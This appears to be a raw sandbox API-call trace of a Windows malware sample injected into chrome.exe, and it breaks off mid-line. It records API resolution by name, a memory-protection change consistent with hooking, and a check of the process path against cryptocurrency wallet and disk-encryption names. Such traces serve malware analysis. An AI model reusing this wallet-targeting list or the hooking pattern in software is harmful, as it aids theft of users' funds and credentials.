lstrcmpiA (lpString1="DeleteAtom", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="AddAtomW", lpString2="CreateProcessA") returned -1 [0079.512] lstrcmpiA (lpString1="FreeLibrary", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="lstrcmpW", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="CompareStringW", lpString2="CreateProcessA") returned -1 [0079.512] lstrcmpiA (lpString1="OpenProcess", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="GlobalLock", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="GlobalUnlock", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="GetLocaleInfoA", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="GlobalAlloc", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="GlobalFree", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="GetSystemInfo", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="DebugBreak", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="OpenFileMappingW", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="CreateProcessA") returned -1 [0079.512] lstrcmpiA (lpString1="FlushViewOfFile", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="MapViewOfFile", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="LdrUnlockLoaderLock", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="LdrLockLoaderLock", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="AlpcInitializeMessageAttribute", lpString2="CreateProcessA") returned -1 [0079.512] lstrcmpiA (lpString1="NtAlpcAcceptConnectPort", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="NtAlpcCreatePort", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="NtAlpcDeleteSectionView", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="NtAlpcCancelMessage", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="NtAlpcSendWaitReceivePort", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="NtAlpcConnectPort", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="NtAlpcDeletePortSection", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="NtAlpcCreateSectionView", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="NtAlpcCreatePortSection", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="AlpcGetMessageAttribute", lpString2="CreateProcessA") returned -1 [0079.512] lstrcmpiA (lpString1="WinSqmAddToStream", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="EtwEventEnabled", lpString2="CreateProcessA") returned 1 [0079.512] lstrcmpiA (lpString1="NtQueryInformationProcess", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="EtwEventUnregister", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="EtwEventRegister", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="NtWriteFile", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="RtlFreeUnicodeString", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="NtCreateFile", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="RtlDosPathNameToNtPathName_U", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="NtQueryValueKey", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="NtOpenKey", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="RtlInitUnicodeString", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="RtlFormatCurrentUserKeyPath", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="RtlUnhandledExceptionFilter", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="NtClose", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="EtwEventWrite", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="RtlDllShutdownInProgress", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="ReleaseDC", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="CreatePopupMenu", lpString2="CreateProcessA") returned -1 [0079.527] lstrcmpiA (lpString1="TrackPopupMenuEx", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="DestroyMenu", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="LoadImageW", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="PrivateExtractIconsW", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="CopyIcon", lpString2="CreateProcessA") returned -1 [0079.527] lstrcmpiA (lpString1="GetSysColor", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="GetActiveWindow", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="InsertMenuItemW", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="PeekMessageA", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="GetMessageA", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="GetMessageW", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="SetThreadDesktop", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="LoadKeyboardLayoutW", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="GetKeyboardLayoutList", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="GetDC", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="SetWindowLongPtrW", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="CopyImage", lpString2="CreateProcessA") returned -1 [0079.527] lstrcmpiA (lpString1="CreateIconIndirect", lpString2="CreateProcessA") returned -1 [0079.527] lstrcmpiA (lpString1="GetIconInfo", lpString2="CreateProcessA") returned 1 [0079.527] lstrcmpiA (lpString1="DestroyIcon", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="RegisterClassExW", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="CreateWindowExW", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="DefWindowProcW", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="MsgWaitForMultipleObjects", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="DispatchMessageW", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="GetWindow", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="FindWindowExW", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="GetClassNameW", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="WaitForInputIdle", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="RealGetWindowClassW", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="GetKeyboardState", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="KillTimer", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="UnhookWinEvent", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="GetGUIThreadInfo", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="SetWinEventHook", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="CharNextW", lpString2="CreateProcessA") returned -1 [0079.528] lstrcmpiA (lpString1="IsWindowInDestroy", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="GetProcessWindowStation", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="GetUserObjectInformationW", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="GetThreadDesktop", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="GetSystemMetrics", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="SystemParametersInfoW", lpString2="CreateProcessA") returned 1 [0079.528] lstrcmpiA (lpString1="InSendMessageEx", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="EnumThreadWindows", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="IsWindowVisible", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="GetClassLongPtrW", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="WindowFromPoint", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="GetKeyState", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="DestroyWindow", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="IsWindow", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="PostQuitMessage", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="PeekMessageW", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="GetQueueStatus", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="ActivateKeyboardLayout", lpString2="CreateProcessA") returned -1 [0079.529] lstrcmpiA (lpString1="GetFocus", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="GetWindowLongPtrW", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="GetParent", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="SendMessageW", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="SetTimer", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="PostThreadMessageW", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="GetWindowThreadProcessId", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="FindWindowW", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="PostMessageW", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="GetKeyboardLayout", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="ChangeWindowMessageFilter", lpString2="CreateProcessA") returned -1 [0079.529] lstrcmpiA (lpString1="RegisterWindowMessageW", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="LoadStringW", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="DrawTextExW", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="GetDoubleClickTime", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="SetCursor", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="GetMessagePos", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="FillRect", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="FrameRect", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="InflateRect", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="DrawEdge", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="OffsetRect", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="SetRect", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="UpdateLayeredWindow", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="GetMonitorInfoW", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="MonitorFromRect", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="MonitorFromPoint", lpString2="CreateProcessA") returned 1 [0079.529] lstrcmpiA (lpString1="AnimateWindow", lpString2="CreateProcessA") returned -1 [0079.529] lstrcmpiA (lpString1="DrawStateW", lpString2="CreateProcessA") returned 1 [0079.530] lstrcmpiA (lpString1="DrawIconEx", lpString2="CreateProcessA") returned 1 [0079.530] lstrcmpiA (lpString1="LoadIconW", lpString2="CreateProcessA") returned 1 [0079.530] lstrcmpiA (lpString1="LoadCursorW", lpString2="CreateProcessA") returned 1 [0079.530] lstrcmpiA (lpString1="GetClassInfoExW", lpString2="CreateProcessA") returned 1 [0079.530] lstrcmpiA (lpString1="UnregisterClassW", lpString2="CreateProcessA") returned 1 [0079.530] lstrcmpiA (lpString1="ToUnicode", lpString2="CreateProcessA") returned 1 [0079.530] lstrcmpiA (lpString1="PtInRect", lpString2="CreateProcessA") returned 1 [0079.530] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020d30 | out: hHeap=0x2020000) returned 1 [0079.530] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020d30 [0079.530] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020d30 | out: hHeap=0x2020000) returned 1 [0079.530] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020d30 [0079.530] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020d30 | out: hHeap=0x2020000) returned 1 [0079.530] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87e0000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fef87e0000, AllocationBase=0x7fef87e0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.530] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.530] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020d30 [0079.530] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020d30 | out: hHeap=0x2020000) returned 1 [0079.530] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020d30 [0079.530] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020d30 | out: hHeap=0x2020000) returned 1 [0079.530] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020d30 [0079.530] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020d30 | out: hHeap=0x2020000) returned 1 [0079.531] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020d30 [0079.531] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020d30 | out: hHeap=0x2020000) returned 1 [0079.531] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefea30000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fefea30000, AllocationBase=0x7fefea30000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.531] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.531] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020d30 [0079.531] VirtualProtect (in: lpAddress=0x7fefebaf948, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x2) returned 1 [0079.531] VirtualProtect (in: lpAddress=0x7fefebaf948, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x40) returned 1 [0079.531] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.532] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.532] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.532] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.532] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.532] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.532] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7730000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fef7730000, AllocationBase=0x7fef7730000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.532] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.532] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.532] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.532] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.532] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.532] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.533] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.533] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.533] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.533] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87b0000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fef87b0000, AllocationBase=0x7fef87b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.533] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.533] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.533] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.533] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.533] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.533] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.533] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.533] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.533] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.533] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbbe0000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fefbbe0000, AllocationBase=0x7fefbbe0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.533] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.533] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.533] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.534] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.534] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.534] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.534] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.534] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.534] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.534] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcf70000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fefcf70000, AllocationBase=0x7fefcf70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.534] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.534] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.534] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.534] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.534] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.534] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.535] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.535] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020da0 [0079.535] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.535] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241ee30 | out: hHeap=0x2020000) returned 1 [0079.535] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x208) returned 0x2020da0 [0079.535] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2020da0, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe")) returned 0x3b [0079.535] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrStrIW") returned 0x7fefd5cfb70 [0079.535] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="electrum-") returned 0x0 [0079.535] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="bitcoin") returned 0x0 [0079.535] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="multibit-hd") returned 0x0 [0079.535] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="bither") returned 0x0 [0079.535] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="msigna.") returned 0x0 [0079.535] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="Jaxx.") returned 0x0 [0079.535] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="JEdudus.") returned 0x0 [0079.535] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="armory-") returned 0x0 [0079.535] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="veracrypt") returned 0x0 [0079.535] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="truecrypt") returned 0x0 [0079.535] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.535] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0079.535] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x241c010 [0079.535] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="ActivateActCtx", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AddAtomA", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AddAtomW", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AddRefActCtx", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AllocConsole", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AreFileApisANSI", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="AttachConsole", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BackupRead", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BackupSeek", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BackupWrite", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="LoadLibraryExW") returned -1 [0079.536] lstrcmpA (lpString1="BaseDumpAppcompatCache", 